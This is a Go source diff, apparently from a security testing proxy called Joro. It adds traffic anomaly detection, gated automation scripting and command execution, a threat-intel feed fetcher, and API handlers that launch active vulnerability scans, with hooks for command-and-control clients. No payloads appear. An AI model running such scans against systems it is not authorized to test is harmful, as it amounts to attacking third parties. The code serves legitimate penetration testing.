if len(ep.sizes) == 0 {
continue
}
meds = append(meds, ep.medianSize())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
if z >= th.zThresh {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("response size %s bytes; host median %s (z=%.1f)",
commas(int64(meds[i])), commas(int64(med)), z))
}
}
}
// latencySignal is sizeSignal for response duration.
func latencySignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
if len(ep.durs) == 0 {
continue
}
meds = append(meds, ep.medianDur())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
// Only slow outliers are interesting; a fast endpoint is not a lead.
if z >= th.zThresh && meds[i] > med {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("median latency %dms; host median %dms (z=%.1f)",
int64(meds[i]), int64(med), z))
}
}
}
// structureSignal flags a rare non-asset extension or a parameter name unique to
// one endpoint on the host.
func structureSignal(eps []*endpoint, _ thresholds, emit func(*endpoint, bool, string)) {
extFreq := map[string]int{}
paramFreq := map[string]int{}
for _, ep := range eps {
if ep.ext != "" {
extFreq[ep.ext]++
}
for p := range ep.params {
paramFreq[p]++
}
}
for _, ep := range eps {
if ep.ext != "" {
_, common := commonWebExt[ep.ext]
if !common && extFreq[ep.ext] == 1 {
emit(ep, true, fmt.Sprintf("extension .%s appears on no other endpoint", ep.ext))
}
}
var uniq []string
for p := range ep.params {
if paramFreq[p] == 1 {
uniq = append(uniq, p)
}
}
if len(uniq) > 0 {
sort.Strings(uniq)
emit(ep, false, fmt.Sprintf("parameter(s) %s used by no other endpoint", strings.Join(uniq, ", ")))
}
}
}
// headerSignal flags an endpoint exposing a framework/server token or auth scheme
// rare for the host.
func headerSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
techFreq := map[string]int{}
authFreq := map[string]int{}
for _, ep := range eps {
if t := ep.modalTech(); t != "" {
techFreq[t]++
}
if a := ep.modalAuth(); a != "" {
authFreq[a]++
}
}
domTech, domTechN := modalStr(techFreq)
techDominates := domTech != "" && float64(domTechN)/float64(n) >= th.dominateFrac
for _, ep := range eps {
t := ep.modalTech()
if techDominates && t != "" && t != domTech && frac(techFreq[t], n) < th.rareFrac {
emit(ep, techFreq[t] == 1, fmt.Sprintf("tech %q; rest of host is %q (%d/%d)", t, domTech, techFreq[t], n))
}
a := ep.modalAuth()
if a != "" && frac(authFreq[a], n) < th.rareFrac {
emit(ep, authFreq[a] == 1, fmt.Sprintf("auth scheme %q is rare on this host (%d/%d)", a, authFreq[a], n))
}
}
}
// finding assembles a detect.Finding pointing at the endpoint's most recent
// capture, so the operator's row actions (Send to Fuzz, Copy as curl) work. It
// carries no occurrences: the representative moves each cycle and an occurrence
// per move would inflate Count without meaning.
func (ep *endpoint) finding(ruleID, detail string, sev detect.Severity, conf detect.Confidence) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, ep.host, ep.key),
RuleID: ruleID,
RuleName: ruleNames[ruleID],
Category: detect.CategoryAnomaly,
Severity: sev,
Confidence: conf,
Target: detect.TargetMessage,
Host: ep.host,
Method: ep.repMeth,
URL: ep.repURL,
RequestID: ep.repReqID,
Detail: ep.key,
Evidence: detail,
EvidenceOffset: -1,
FirstSeen: now,
LastSeen: now,
}
}
func frac(count, total int) float64 {
if total == 0 {
return 0
}
return float64(count) / float64(total)
}
// commas formats an integer with thousands separators for readable evidence.
func commas(n int64) string {
s := fmt.Sprintf("%d", n)
neg := strings.HasPrefix(s, "-")
if neg {
s = s[1:]
}
var b strings.Builder
for i, c := range s {
if i > 0 && (len(s)-i)%3 == 0 {
b.WriteByte(',')
}
b.WriteRune(c)
}
if neg {
return "-" + b.String()
}
return b.String()
}
+81
View File
@@ -0,0 +1,81 @@
package anomaly
import "sort"
// median returns the median of xs. It sorts a copy, so the caller's slice is
// untouched. An empty slice returns 0.
func median(xs []float64) float64 {
n := len(xs)
if n == 0 {
return 0
}
c := make([]float64, n)
copy(c, xs)
sort.Float64s(c)
if n%2 == 1 {
return c[n/2]
}
return (c[n/2-1] + c[n/2]) / 2
}
// mad is the median absolute deviation from med — a spread measure that, unlike
// the standard deviation, is not itself dragged toward the outliers this package
// hunts for.
func mad(xs []float64, med float64) float64 {
if len(xs) == 0 {
return 0
}
dev := make([]float64, len(xs))
for i, x := range xs {
d := x - med
if d < 0 {
d = -d
}
dev[i] = d
}
return median(dev)
}
// robustZ is the MAD-based z-score. 0.6745 rescales the MAD to a standard-
// deviation-equivalent for normal data, so a threshold of ~3.5 has the usual
// reading. Returns 0 when the spread is degenerate (every value identical),
// which correctly flags nothing.
func robustZ(x, med, madv float64) float64 {
if madv <= 0 {
return 0
}
z := 0.6745 * (x - med) / madv
if z < 0 {
z = -z
}
return z
}
// modalStr returns the most frequent key in m and its count, ties broken by the
// lexically smaller key so the result is stable across runs.
func modalStr(m map[string]int) (string, int) {
best := ""
bestN := 0
for k, v := range m {
if v > bestN || (v == bestN && k < best) {
best = k
bestN = v
}
}
return best, bestN
}
// modalInt is modalStr for integer keys.
func modalInt(m map[int]int) (int, int) {
best := 0
bestN := 0
first := true
for k, v := range m {
if first || v > bestN || (v == bestN && k < best) {
best = k
bestN = v
first = false
}
}
return best, bestN
}
+14
View File
@@ -0,0 +1,14 @@
package api
import "context"
// StartAnomalyLoop launches the per-host anomaly engine in the background,
// mirroring StartDetectLoop. It runs whether or not the feature is enabled; the
// engine cheaply no-ops each cycle while detect.Config.AnomalyEnabled is off, so
// a live toggle needs no restart.
func (s *APIServer) StartAnomalyLoop(ctx context.Context) {
if s.anomalyEngine == nil {
return
}
go s.anomalyEngine.Run(ctx)
}
+136 -22
View File
@@ -16,6 +16,7 @@ import (
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/jsruntime"
"github.com/BishopFox/joro/internal/localcmd"
"github.com/BishopFox/joro/internal/mcp"
)
@@ -85,17 +86,30 @@ func (s *APIServer) SetAutomation(store *automation.Store) {
Sliver: s.sliverClient,
Mythic: s.mythicClient,
// Scripting is registered only if the manager was actually built: without a
// worker executable there is nothing to run, and advertising a tool that
// always fails is worse than not having it.
Scripting: s.scriptManager != nil,
// Scripting is registered only if the script half is actually live: the manager
// exists for commands alone as well, and without a worker executable there is
// nothing to run. Advertising a tool that always fails is worse than not having
// it.
//
// There is no Commands counterpart here on purpose. Local command execution is
// not a capability and never becomes one: capreg.validateBundle panics on a
// privileged capability in the SDK bundle, validateProfiles panics on one in a
// profile, and jsruntime.Bindings already states the rule that command execution
// is granted by hand and never bundled. A command automation's authority is the
// operator having armed it, which is why nothing about it reaches this struct.
Scripting: s.scriptingEnabled(),
Script: s.scriptRunnerDep(),
// Fire-only, and ID-addressed. A run may choose among the endpoints the operator
// opened to automation; it cannot author one, read one's URL, or reach a webhook
// that was not ticked. See caps_webhook.go.
Webhooks: s.webhookFirer(),
Broadcast: s.hub.Broadcast(),
}, s.capAudit)
s.mcpListener = mcp.NewListener()
if s.cfg.AutomationPrivileged || s.scriptManager != nil {
if s.cfg.AutomationPrivileged || s.scriptingEnabled() {
var ids []string
for _, c := range s.capRegistry.All() {
if c.Privileged {
@@ -107,33 +121,60 @@ func (s *APIServer) SetAutomation(store *automation.Store) {
}
}
// newScriptManager builds the sandboxed script runner, or returns nil if scripting is
// off or cannot work on this host.
// newScriptManager builds the automation runner, or returns nil when neither
// --automation-scripting nor --automation-commands was given.
//
// The runtime is a worker-process runtime: each run is a fresh re-exec of this binary
// in --script-worker mode, so terminating a run is killing a process and a runaway
// allocation costs the worker rather than the proxy. os.Executable is the only thing
// that can fail here, and a host where it does cannot spawn a worker at all — so
// scripting is disabled rather than degraded to an in-process VM, which would quietly
// weaken the containment the feature is described by.
// The two flags are separate axes and either alone is enough to want a manager: the
// package's store, dispatcher, run log and lens machinery are shared, and only the
// execution half differs. Which half is live is decided by scriptingEnabled and
// commandsEnabled, not by this returning non-nil.
//
// The script runtime is a worker-process runtime: each run is a fresh re-exec of this
// binary in --script-worker mode, so terminating a run is killing a process and a runaway
// allocation costs the worker rather than the proxy. os.Executable is the only thing that
// can fail here, and a host where it does cannot spawn a worker at all — so scripting is
// disabled rather than degraded to an in-process VM, which would quietly weaken the
// containment the feature is described by. Commands are unaffected: they are their own
// process by construction and need no worker.
func (s *APIServer) newScriptManager() *jsautomation.Manager {
if !s.cfg.AutomationScripting {
if !s.cfg.AutomationScripting && !s.cfg.AutomationCommands {
return nil
}
exe, err := os.Executable()
if err != nil {
log.Printf("[automation] --automation-scripting: cannot locate this executable (%v); "+
"script.run is disabled this run", err)
return nil
var runtime jsruntime.Runtime
if s.cfg.AutomationScripting {
exe, err := os.Executable()
if err != nil {
log.Printf("[automation] --automation-scripting: cannot locate this executable (%v); "+
"script.run is disabled this run", err)
} else {
runtime = jsruntime.NewWorkerRuntime(exe, "--script-worker")
s.scriptRuntimeReady = true
}
}
// Installed automations live beside the plugins, not under ~/.joro/configs/: a
// project config is published to teammates, and executable code that runs against
// the full SDK bundle must not travel with it. Their key/value state does ride in
// the project config, because that is engagement data rather than code.
s.automationStorage = jsautomation.NewStorage()
// The custom triggers automations reference are opened in New, not here: webhooks
// reference them too and are available without either automation flag. See
// initTriggers, which carries the rest of that reasoning.
pkgs := jsautomation.NewStore(filepath.Join(s.cfg.DataDir, "automations"))
// Install-time program-size check, which happens where a run's own copy of the
// limit is not in reach.
pkgs.MaxSourceBytes = func() int {
if s.autoStore == nil {
return 0
}
return s.autoStore.ScriptBudget().Host.Resolved().SourceBytes
}
return jsautomation.New(jsautomation.Deps{
Store: jsautomation.NewStore(filepath.Join(s.cfg.DataDir, "automations")),
Store: pkgs,
Storage: s.automationStorage,
// A getter, for the same reason Deps.BgCtx is one: the capability that starts
// a run needs this manager, and this manager needs the sealed registry, so one
@@ -144,11 +185,73 @@ func (s *APIServer) newScriptManager() *jsautomation.Manager {
}
return s.capRegistry
},
Runtime: jsruntime.NewWorkerRuntime(exe, "--script-worker"),
Runtime: runtime,
Contexts: s.capContexts,
// The operator's run policy. A getter because it is edited at runtime, and
// because jsautomation must not import the token store.
Budget: func() jsruntime.BudgetPolicy {
if s.autoStore == nil {
return jsruntime.BudgetPolicy{}
}
return s.autoStore.ScriptBudget()
},
// The policy a run no token launched inherits — the operator's own boundary, read
// live for the same reason Budget is. A getter also keeps jsautomation clear of a
// proxy handle: the whole question it needs answered is this one bool.
ScopeConfigured: func() bool {
return s.scope != nil && s.scope.IsEnabled() && s.scope.RuleCount() > 0
},
// The command half. Commands reads the flag live through a getter for symmetry
// with the rest of this struct, not because it can change — it cannot without a
// restart, which is the point of it being a launch flag.
Commands: func() bool { return s.cfg.AutomationCommands },
CommandBudget: func() localcmd.Policy {
if s.autoStore == nil {
return localcmd.Policy{}
}
return s.autoStore.CommandBudget()
},
Scratch: filepath.Join(s.cfg.DataDir, jsautomation.ScratchDirName()),
// Two byte slices for one sequence number, and nothing else. Handing over
// *proxy.Store would put List, Clear and Sitemap in reach of a package whose
// whole authorization story is that it reaches the registry and nothing else.
Captures: func(seq int) ([]byte, []byte, bool) {
if s.store == nil {
return nil, nil, false
}
item := s.store.GetBySeq(seq)
if item == nil {
return nil, nil, false
}
return item.ReqRaw, item.RespRaw, true
},
// What a command's environment gets when its spec asks to be proxied. The same
// address the managed testing browser is pointed at, and for the same reason: a
// tool that honours these has its traffic captured and filtered by the
// operator's own scope, noise and Match & Replace rules.
ProxyURL: fmt.Sprintf("http://%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CAFile: filepath.Join(s.cfg.DataDir, "ca.crt"),
})
}
// scriptingEnabled reports whether the JavaScript half is live: the flag was given and a
// worker runtime could actually be built.
//
// Both halves of that matter. The flag alone would leave script.run registered on a host
// where os.Executable failed, and advertising a tool that fails on every call is worse
// than not having it.
func (s *APIServer) scriptingEnabled() bool {
return s.scriptManager != nil && s.cfg.AutomationScripting && s.scriptRuntimeReady
}
// commandsEnabled reports whether the command half is live.
func (s *APIServer) commandsEnabled() bool {
return s.scriptManager != nil && s.cfg.AutomationCommands
}
// startScriptTriggers brings up the trigger dispatcher.
//
// Started from here rather than from main.go because this runs inside Start, which is
@@ -160,7 +263,18 @@ func (s *APIServer) startScriptTriggers(ctx context.Context) {
if s.scriptManager == nil || s.scriptManager.Packages() == nil {
return
}
// Reclaim scratch left by previous processes before anything can add to it. Done
// here rather than left to the first run, because a Joro restarted more often than
// it runs a command would otherwise keep every directory it ever made.
if s.commandsEnabled() {
s.scriptManager.SweepScratch()
}
s.scriptTriggers = jsautomation.NewDispatcher(s.scriptManager, s.store, s.hub.Broadcast())
s.scriptTriggers.WatchTriggers(s.triggers)
// A webhook watching automation.completed has to be told here too: that event never
// reaches the bus, so subscribing to it is not possible. WatchRuns appends.
s.watchAutomationRuns()
go s.scriptTriggers.Run(ctx, s.hub.Subscribe(0))
}
@@ -169,7 +283,7 @@ func (s *APIServer) startScriptTriggers(ctx context.Context) {
// capreg a non-nil interface holding nil, and the handler's own nil check would not
// catch it — the same trap capreg.Build avoids with its Scope assignment.
func (s *APIServer) scriptRunnerDep() capreg.ScriptRunner {
if s.scriptManager == nil {
if !s.scriptingEnabled() {
return nil
}
return s.scriptManager
+9 -1
View File
@@ -32,6 +32,14 @@ func (s *APIServer) StartAutoSaveLoop(ctx context.Context) {
// active, the active project has autoSave disabled, or nothing changed since the
// last save.
func (s *APIServer) autoSaveTick() {
// Deciding which project to save and writing it must be one atomic step
// against a concurrent delete. Reading the active name outside the file lock
// and passing it to a save that acquires the lock later is what lets a tick
// that began before a delete write the project back out after it — the file
// reappears with no sidecar and no way for the operator to tell why.
s.projectFileMu.Lock()
defer s.projectFileMu.Unlock()
s.mu.RLock()
active := s.activeProjectConfig
lastSig := s.lastSaveSig
@@ -45,7 +53,7 @@ func (s *APIServer) autoSaveTick() {
if s.liveStateSignature() == lastSig {
return
}
if err := s.saveProject(active); err != nil {
if err := s.saveProjectLocked(active); err != nil {
log.Printf("[autosave] failed to save project %q: %v", active, err)
}
}
+65
View File
@@ -0,0 +1,65 @@
package api
import (
"encoding/json"
"errors"
"io"
"mime"
"net/http"
)
// Body caps for JSON request bodies, in three tiers.
//
// maxJSONBody is the default, sized above any ordinary control-plane payload.
// maxBulkJSONBody covers the routes carrying base64'd raw requests and responses, and
// wordlists sourced from an upload capped at 50 MB. maxProjectImportBytes covers project
// import, whose body is a whole project snapshot — history, campaigns and findings —
// gzipped and then base64'd, which costs another third.
const (
maxJSONBody = 4 << 20
maxBulkJSONBody = 64 << 20
maxProjectImportBytes = 512 << 20
)
// decodeJSON reads a JSON body bounded by maxJSONBody, and requires the
// `application/json` content type.
//
// Unknown fields are accepted rather than rejected, so a client sending a field this build
// does not know still round-trips.
func decodeJSON(r *http.Request, dst any) error {
return decodeJSONLimit(r, dst, maxJSONBody)
}
// decodeJSONLimit is decodeJSON at an explicit cap, for a route whose payload has its own
// size tier.
func decodeJSONLimit(r *http.Request, dst any, max int64) error {
if err := requireJSONType(r); err != nil {
return err
}
return json.NewDecoder(http.MaxBytesReader(nil, r.Body, max)).Decode(dst)
}
// decodeJSONOptional is decodeJSONLimit for the routes whose body is optional: every field
// defaulting is meaningful, so a request offering no body leaves dst at its zero value
// rather than erroring. A body that is present must still carry the JSON content type.
func decodeJSONOptional(r *http.Request, dst any, max int64) error {
if r.Body == nil || (r.ContentLength == 0 && r.Header.Get("Content-Type") == "") {
return nil
}
if err := requireJSONType(r); err != nil {
return err
}
err := json.NewDecoder(http.MaxBytesReader(nil, r.Body, max)).Decode(dst)
if errors.Is(err, io.EOF) {
return nil // empty body: leave dst at its zero value
}
return err
}
func requireJSONType(r *http.Request) error {
ct, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || ct != "application/json" {
return errors.New("expected Content-Type: application/json")
}
return nil
}
+42
View File
@@ -31,6 +31,29 @@ func (s *APIServer) detectBackgroundCtx() context.Context {
// proxy.Store rewrites its sequence numbering (Clear zeroes nextSeq, LoadItems
// rewrites it); a stale high cursor stops detection for the session.
func (s *APIServer) resetDetectCursor(seq int) {
// The anomaly engine's record cache is keyed on the same sequence numbering,
// so it must reset wherever detection's cursor does.
if s.anomalyEngine != nil {
s.anomalyEngine.ResetCursor(seq)
}
// Reflection mapping walks the same sequence numbering, so it resets here
// too: this one function is what every reset path calls.
if s.echoEngine != nil {
s.echoEngine.ResetCursor(seq)
if seq == 0 && s.echoStore != nil {
s.echoStore.Clear()
}
}
// Technology fingerprinting walks the same sequence numbering, so it resets
// here too; at seq 0 ResetCursor also clears its derived host map.
if s.techEngine != nil {
s.techEngine.ResetCursor(seq)
}
// The OAST confirmer forward-scans the same sequence numbering and drops its
// harvested hash set on reset, so it resets here too.
if s.oastEngine != nil {
s.oastEngine.ResetCursor(seq)
}
if s.detectScanner == nil {
return
}
@@ -48,3 +71,22 @@ func (s *APIServer) clearDetectFindingsWithHistory() {
s.broadcastDetectSummary()
}
}
// StartEchoLoop launches the reflection mapper. It runs unconditionally and
// no-ops per tick while disabled, so a live toggle needs no restart.
func (s *APIServer) StartEchoLoop(ctx context.Context) {
if s.echoEngine == nil {
return
}
go s.echoEngine.Run(ctx)
}
// StartTechLoop launches the passive technology fingerprinter. Like the echo
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
// the embedded Wappalyzer database on its own goroutine, off the boot path.
func (s *APIServer) StartTechLoop(ctx context.Context) {
if s.techEngine == nil {
return
}
go s.techEngine.Run(ctx)
}
+4
View File
@@ -39,6 +39,8 @@ func (s *APIServer) detectStateForProject() (
SkipContentTypes: c.SkipContentTypes,
SkipExtensions: c.SkipExtensions,
ExcludeHosts: c.ExcludeHosts,
AnomalyEnabled: c.AnomalyEnabled,
AnomalySensitivity: c.AnomalySensitivity,
}
// Sorted so a project file is stable across saves and diffs cleanly.
@@ -150,6 +152,8 @@ func (s *APIServer) applyDetectProjectConfig(cfg *projectConfigFile) map[string]
SkipContentTypes: p.SkipContentTypes,
SkipExtensions: p.SkipExtensions,
ExcludeHosts: p.ExcludeHosts,
AnomalyEnabled: p.AnomalyEnabled,
AnomalySensitivity: p.AnomalySensitivity,
}
}
s.detectEngine.SetConfig(dc)
+163
View File
@@ -0,0 +1,163 @@
package api
import (
"context"
"fmt"
"io"
"log"
"net/http"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/proxy"
)
// Bringing the threat-intel feed aggregator up.
//
// Like the webhook feature, it is independent of automation and built in New rather than in
// SetAutomation — an operator wanting CVE and KEV intel on their dashboard should not have to
// arm an agent. The only switches are --no-feeds (removes it) and the off-by-default Settings
// toggle (fetches nothing until armed). internal/feeds imports nothing from this package; the
// outbound client is injected here as feedsFetch, the one place internal/proxy is reached.
// initFeeds opens feeds.json and builds the aggregator over the curated source set.
//
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
// unreadable webhooks.json does, and is logged loudly so a silently absent store does not look
// like the operator's settings vanished.
func (s *APIServer) initFeeds() {
if s.listenerMode || s.cfg.NoFeeds {
return
}
store, err := feeds.NewSettingsStore(s.cfg.DataDir)
if err != nil {
log.Printf("[feeds] threat-intel feeds are disabled this run: %v", err)
return
}
s.feedsStore = store
s.feeds = feeds.NewAggregator(feeds.DefaultSources(), s.feedsFetch)
}
// feedsFetch is the injected FetchFunc: a verified-TLS (insecure=false), no-redirect GET with
// a request timeout and a bounded read. NewOutboundHTTPClient rather than NewHTTPClient because
// NVD/CISA/ExploitDB/FIRST.org are public infrastructure to be authenticated, not MITM targets.
//
// Direct egress by default: feed traffic is incidental intel, not engagement traffic, so it
// should not consume or reveal the operator's SOCKS tunnel. Passing a nil TransportConfig
// leaves DialContext unset (a direct dial); only when the operator opts in via RouteThroughSocks
// is s.transport passed, which honors SOCKS when one is configured. Built per fetch and closed,
// because the transport snapshots the dialer at build time and has no idle timeout.
func (s *APIServer) feedsFetch(ctx context.Context, rawURL string, limitBytes int64) ([]byte, error) {
var tc *proxy.TransportConfig
if s.feedsStore != nil && s.feedsStore.Get().RouteThroughSocks {
tc = s.transport
}
client := proxy.NewOutboundHTTPClient(tc, false)
defer client.CloseIdleConnections()
ctx, cancel := context.WithTimeout(ctx, 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, err
}
req.Header.Set("Accept", "application/json, application/atom+xml, application/rss+xml, application/xml;q=0.9, */*;q=0.1")
req.Header.Set("User-Agent", "Joro/"+s.buildInfo.Version)
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("feed endpoint returned HTTP %d", resp.StatusCode)
}
return io.ReadAll(io.LimitReader(resp.Body, limitBytes))
}
// startFeedsLoop runs the periodic refresher for the life of the server.
//
// A one-minute ticker is the backstop resolution; the actual cadence is the operator's
// interval (floored at 15 min), tracked by nextRun. The loop no-ops while feeds are disabled
// in settings, so toggling them on takes effect with no restart — and a handler kicks an
// immediate refresh on an enable-flip so the UI does not wait up to a minute. feedsCtx is set
// here, before serving, so a handler-kicked refresh can outlive its request.
func (s *APIServer) startFeedsLoop(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
s.feedsCtx = ctx
go func() {
// A short settle so startup is not a thundering herd of outbound calls.
select {
case <-ctx.Done():
return
case <-time.After(10 * time.Second):
}
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
var nextRun time.Time // zero => run on the first enabled pass
for {
st := s.feedsStore.Get()
if st.Enabled && (nextRun.IsZero() || !time.Now().Before(nextRun)) {
s.refreshFeedsTick(ctx)
nextRun = time.Now().Add(time.Duration(st.IntervalMinutes) * time.Minute)
}
select {
case <-ctx.Done():
return
case <-ticker.C:
}
}
}()
}
// refreshFeedsTick refreshes the enabled categories and broadcasts the summary. A no-op when
// feeds are off, so every caller (the loop, the manual-refresh handler, the enable kick) can
// call it unconditionally.
func (s *APIServer) refreshFeedsTick(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
st := s.feedsStore.Get()
if !st.Enabled {
return
}
snap := s.feeds.Refresh(ctx, st.Categories)
s.hub.Broadcast() <- event.WSEvent{Type: "feeds.updated", Data: feedsSummary(snap)}
}
// feedsContext returns the server-lifetime context for a handler-kicked refresh, falling back
// to Background if the loop never started (it always does in proxy mode when feeds are on).
func (s *APIServer) feedsContext() context.Context {
if s.feedsCtx != nil {
return s.feedsCtx
}
return context.Background()
}
// feedsSummaryData is the small, droppable hint pushed on feeds.updated. The client re-GETs
// the authoritative snapshot, the same pattern tech.detected / detect.summary use.
type feedsSummaryData struct {
GeneratedAt time.Time `json:"generatedAt"`
Counts map[string]int `json:"counts"`
AnyStale bool `json:"anyStale"`
}
func feedsSummary(snap feeds.Snapshot) feedsSummaryData {
counts := make(map[string]int, len(snap.Items))
for cat, list := range snap.Items {
counts[string(cat)] = len(list)
}
anyStale := false
for _, src := range snap.Sources {
if src.Stale {
anyStale = true
break
}
}
return feedsSummaryData{GeneratedAt: snap.GeneratedAt, Counts: counts, AnyStale: anyStale}
}
+498
View File
@@ -0,0 +1,498 @@
package api
import (
"context"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
// activeScanAvailable guards the active-scan routes, which exist only in proxy
// mode. A JSON 404 rather than an unregistered route, so the SPA catch-all does
// not answer with 200 + HTML.
func (s *APIServer) activeScanAvailable(w http.ResponseWriter) bool {
if s.activeScans == nil || s.activeScanRules == nil {
writeError(w, http.StatusNotFound, "active scanning is not available in this mode")
return false
}
return true
}
// activeScanRequest starts a scan of a host or a single request.
type activeScanRequest struct {
// Scope is "host" (every captured GET endpoint for Origin) or "request" (one
// URL, from RequestID or URL).
Scope string `json:"scope"`
Origin string `json:"origin,omitempty"` // scheme://host[:port], for a host scan
URL string `json:"url,omitempty"` // a single URL, e.g. from Manipulate
RequestID string `json:"requestId,omitempty"` // a captured request to scan
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
BudgetMs int `json:"budgetMs,omitempty"`
// Template-signature rule options. Tags and Severity narrow which signatures
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
Tags []string `json:"tags,omitempty"`
Severity []string `json:"severity,omitempty"`
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
// OAST opts out-of-band testing in or out when a listener is configured; nil
// (omitted) leaves it on, false turns it off. It never enables OAST when no
// callback domain is configured — that gate is server-side.
OAST *bool `json:"oast,omitempty"`
}
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
var req activeScanRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
target, err := s.resolveScanTarget(req)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Scope filter, never a rule-count check: InScope returns true when scope
// filtering is disabled, so with scope off nothing is rejected and the scan
// covers every target. A host scan silently drops out-of-scope endpoints; a
// single-request scan whose one URL is out of scope is refused outright so the
// operator is not left with a silent, empty run.
inScope, skipped := s.filterInScope(target.URLs)
if len(inScope) == 0 {
if req.Scope == "request" {
writeError(w, http.StatusForbidden, "target is out of scope; adjust scope rules or disable scope filtering")
return
}
writeError(w, http.StatusBadRequest, "no in-scope GET endpoints to scan for this host")
return
}
target.URLs = inScope
rules := s.activeScanRules.Resolve(req.Rules)
cfg := activescan.Config{
Scope: req.Scope,
Rules: req.Rules,
BudgetMs: req.BudgetMs,
Tags: req.Tags,
Severity: req.Severity,
IgnoreFingerprint: req.IgnoreFingerprint,
NoOAST: req.OAST != nil && !*req.OAST,
}
total, err := activescan.Plan(cfg, target, rules)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
ruleIDs := make([]string, 0, len(rules))
for _, rule := range rules {
ruleIDs = append(ruleIDs, rule.ID())
}
// One at a time, globally. A DOM XSS scan drives a single browser and a future
// state-changing rule would race the target's own state; the claim and the
// insert are one operation so two requests cannot both pass.
run := activescan.NewRun(proxy.GenerateID(), cfg, target, ruleIDs, total)
if running := s.activeScans.AddIfIdle(run); running != nil {
writeError(w, http.StatusConflict,
fmt.Sprintf("a scan of %q is already in flight; stop it before starting another", running.Origin))
return
}
deps := activescan.Deps{
Broadcast: s.hub.Broadcast(),
Findings: s.detectFindings,
Notify: s.broadcastDetectSummary,
Registry: s.activeScanRules,
RuleDeps: activescan.RuleDeps{
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CA: s.ca,
Store: s.store,
Scope: s.scope,
DataDir: s.cfg.DataDir,
Tech: s.techStore(),
Callback: s.cbStore,
},
}
// context.Background, not the request's: a scan outlives the HTTP call.
go activescan.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "total": total, "rules": ruleIDs,
"urls": len(target.URLs), "skipped": skipped,
})
}
// resolveScanTarget turns a request into the concrete URLs to scan.
func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target, error) {
switch req.Scope {
case "host":
if req.Origin == "" {
return activescan.Target{}, fmt.Errorf("origin is required for a host scan")
}
return s.hostTarget(req.Origin)
case "request":
return s.requestTarget(req)
default:
return activescan.Target{}, fmt.Errorf("scope must be \"host\" or \"request\"")
}
}
// hostTarget collects a host's distinct requests from the capture store, carrying
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
// Not capped by a request count — the scan budget bounds the work.
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return activescan.Target{}, fmt.Errorf("invalid origin")
}
reqs := s.store.NodeRequests(origin, "", false, proxy.RequestFilter{})
seen := map[string]bool{}
var urls []activescan.TargetURL
for _, cr := range reqs {
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
if seen[key] {
continue
}
seen[key] = true
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
}
if len(urls) == 0 {
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
}
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
}
// requestTarget builds a single-request target from a captured request or a raw
// URL, carrying the raw bytes and method for the injection rules.
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
rawURL := strings.TrimSpace(req.URL)
method := "GET"
requestID := ""
var rawReq []byte
if req.RequestID != "" {
cr := s.store.Get(req.RequestID)
if cr == nil {
return activescan.Target{}, fmt.Errorf("no such request")
}
rawURL = cr.URL
requestID = cr.ID
method = cr.Method
rawReq = cr.ReqRaw
}
if rawURL == "" {
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
}
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" || u.Scheme == "" {
return activescan.Target{}, fmt.Errorf("invalid url")
}
return activescan.Target{
Scheme: u.Scheme,
Host: u.Host,
Origin: u.Scheme + "://" + u.Host,
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
}, nil
}
